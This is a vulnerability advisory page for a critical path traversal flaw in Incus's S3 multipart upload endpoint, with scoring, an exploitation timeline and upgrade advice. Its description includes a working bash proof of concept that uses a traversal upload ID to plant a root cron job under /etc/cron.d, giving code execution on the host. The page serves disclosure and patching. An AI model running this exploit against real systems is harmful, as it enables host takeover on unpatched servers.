VulnerabilityPublished 26 Jun 2026

CVE-2026-48753: Incusd · Incus has an arbitrary file write via path traversal in S3 multipart upload

Affects github.com/lxc/incus/v7/cmd/incusdSource GCVE Database

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Authoritative record:CVE-2026-48753· Critical 9.9

Not known to be exploited · CVSS 9.9 Critical : upgrade to 7.1.0 as a priority.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

9.9Critical

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.7% chance of exploitation in 30 days – higher than 54% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 7.1.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 21 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by GitHub, Inc.
22 May 202619:39 UTC, 91 days before disclosure
CVE published
on cve.org
21 Aug 202614:34 UTC, t = 0
CISA SSVC assessment
proof of concept public
21 Aug 202615:36 UTC, 1 hour after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0.

Affected software

Product	Affected	Fixed in
Gogithub.com/lxc/incus/v7/cmd/incusd	Affected <7.1.0	Fixed in 7.1.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.

CWE-73External Control of File Name or Path (opens in a new tab)
Base weaknessLikelihood of exploit: HighOWASP Top 10 A06:2025: Insecure Design (opens in a new tab)
The product allows user input to control or influence paths or file names that are used in filesystem operations.
Architecture and Design
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt".
Architecture and Design · Operation
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
OWASP Cheat Sheets
XML Security (opens in a new tab)
Mass Assignment (opens in a new tab)
Secure Design Principles (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.2 (opens in a new tab)
V13.3.1 (opens in a new tab)
V5.1.4 (opens in a new tab)
Attack patterns
Subverting Environment Variable Values (opens in a new tab)
Leverage Alternate Encoding (opens in a new tab)
Using Slashes and URL Encoding Combined to Bypass Validation Logic (opens in a new tab)
URL Encoding (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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